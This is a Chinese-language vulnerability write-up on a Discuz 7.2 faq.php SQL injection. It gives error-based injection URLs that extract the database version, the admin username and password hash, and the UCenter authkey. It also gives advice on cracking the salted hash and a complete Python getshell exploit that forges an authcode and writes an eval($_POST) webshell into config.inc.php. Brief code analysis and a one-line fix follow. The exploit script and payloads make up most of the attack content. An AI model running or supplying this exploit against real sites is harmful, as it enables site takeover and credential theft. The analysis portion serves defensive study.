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1. 漏洞描述2. 漏洞触发条件3. 漏洞影响范围4. 漏洞代码分析5. 防御方法6. 攻防思考
1. 漏洞描述
1. 通过获取管理员密码 2. 对管理员密码进行破解。通过在cmd5.com网站对管理密码进行查询，需要带salt，获取的salt要去掉最后一个数字"1"例如下面获取: admin:c6c45f444cf6a41b309c9401ab9a55a7:066ff71需要查询的是: c6c45f444cf6a41b309c9401ab9a55a7:066ff73. 通过uc_key获取shell4. 进入后台，添加插件获取webshell
Relevant Link:
http://sebug.net/vuldb/ssvid-87115http://sebug.net/vuldb/ssvid-87114
1.获取数据库版本信息http://localhost/discuz7.2/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)%23 2.获取管理员账户密码http://localhost/discuz7.2/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x27,password) from cdb_members limit 1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23 3.获取keyhttp://localhost/discuz7.2/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,1,62) from cdb_uc_applications limit 0,1),0x3a)x from information_schema.tables group by x)a)%23//通过error based injection报错获得注入信息
0x1: POC
import sys,urllib,time,math,base64,hashlib,urllib2#contant rawdef fg(kaishi, jieshu, wenben): start = wenben.find(kaishi); if start >= 0: start += len(kaishi); jieshu = wenben.find(jieshu, start); if jieshu >= 0: return wenben[start:jieshu].strip();#microtimedef microtime(get_as_float = False) : if get_as_float: return time.time(); else: return '%.8f %d' % math.modf(time.time());#authgetdef get_authcode(string, key = ''): ckey_length = 4; key = hashlib.md5(key).hexdigest(); keya = hashlib.md5(key[0:16]).hexdigest(); keyb = hashlib.md5(key[16:32]).hexdigest(); keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]; #keyc = (hashlib.md5('0.736000 1389448306').hexdigest())[-ckey_length:] cryptkey = keya + hashlib.md5(keya+keyc).hexdigest(); key_length = len(cryptkey); string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string; string_length = len(string); result = ''; box = range(0, 256); rndkey = dict(); for i in range(0,256): rndkey[i] = ord(cryptkey[i % key_length]); j=0; for i in range(0,256): j = (j + box[i] + rndkey[i]) % 256; tmp = box[i]; box[i] = box[j]; box[j] = tmp; a=0; j=0; for i in range(0,string_length): a = (a + 1) % 256; j = (j + box[a]) % 256; tmp = box[a]; box[a] = box[j]; box[j] = tmp; result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256])); return keyc + base64.b64encode(result).replace('=', '');#getshell def get_shell(url0,key,host): headers={ 'Accept-Language':'zh-cn', 'Content-Type':'application/x-www-form-urlencoded', 'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)', 'Referer':url0 }; tm = time.time()+10*3600; tm="time=%d&action=updateapps" %tm; code = urllib.quote(get_authcode(tm,key)); url0=url0+"?code="+code; data1=''' - http://xxx\');eval($_POST[qcmd]);//
'''; try: req=urllib2.Request(url0,data=data1,headers=headers); ret=urllib2.urlopen(req); except: return "error to read"; data2=''' - http://aaa
'''; try: req=urllib2.Request(url0,data=data2,headers=headers); ret=urllib2.urlopen(req); except: return "error"; return "OK: "+host+"/config.inc.php | Password = qcmd"; #去掉/config/uc_config.php 为config.inc.php by niubl#define over#url from usersright = len(sys.argv);if right < 2: #note print ("============================================================"); print ("Discuz <= 7.2 Getshell"); print ("Wrote by Airbasic"); print ("Usage: py.exe " + sys.argv[0] + " http://localhost/dz"); print ("============================================================"); raw_input(""); sys.exit()url = sys.argv[1]; #gourl1 = url + "/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,1,31) from cdb_uc_applications where appid =1))x from information_schema .tables group by x)a)%23";url2 = url + "/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,32,64) from cdb_uc_applications where appid =1))x from information_schema .tables group by x)a)%23";#authkey1~31wy1 = urllib.urlopen(url1);nr1 = wy1.read();authkey1 = fg("'1:","' for",nr1);#authkey32~64wy2 = urllib.urlopen(url2);nr2 = wy2.read();authkey2 = fg("'1:","' for",nr2);#authkeyauthkey = authkey1+authkey2;#get username and password#none#over#get webshellurl0 = url + "/api/uc.php";host = url;print ("Wrote by Airbasic , GetShell Ok !");print get_shell(url0,authkey,host);raw_input(""); Relevant Link:
http://blog.csdn.net/yiyefangzhou24/article/details/36913287http://qqhack8.blog.163.com/blog/static/11414798520146711246279/
/faq.php
..elseif($action == 'grouppermission') { .. //首先定义一个数组groupids，然后遍历$gids(这也是个数组，就是$_GET[gids]) $groupids = array(); foreach($gids as $row) { //将数组中的所有值的第一位取出来放在groupids中 $groupids[] = $row[0]; /* 这里的安全漏洞在于 discuz在全局会对GET数组进行addslashes转义，也就是说会将单引号"'"转义成"\'" 所以，如果我们的传入的参数是: gids[1]='的话，会被转义成$gids[1]=\'，而这个赋值语句$groupids[] = $row[0]就相当于取了字符串的第一个字符，也就是"\"，把转义符号取出来了 */ } /* 在将数据放入sql语句前，通过implodeids函数对$groupids进行处理了一遍 就是将刚才的$groupids数组用','分割开，组成一个类似于'1','2','3','4'的字符串返回。但是我们的数组刚取出来一个转义符，它会将这里一个正常的'转义掉，比如这样：'1','\','3','4' 这样就把原本的用于闭合的单引号给转义了，使得黑客的注入数据得以"逃逸"，也就是产生的注入，我们把报错语句放在3这个位置，就能报错 */ $query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")"); $groups = array(); .. Relevant Link:
http://simeon.blog.51cto.com/18680/1440000
/faq.php
elseif($action == 'grouppermission') { /* 对$gids进行初始化 */ $gids = array(); /* */ Relevant Link:
http://www.crazydb.com/archive/Discuz7.xSQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B8%8EEXPhttp://simeon.blog.51cto.com/18680/1440000
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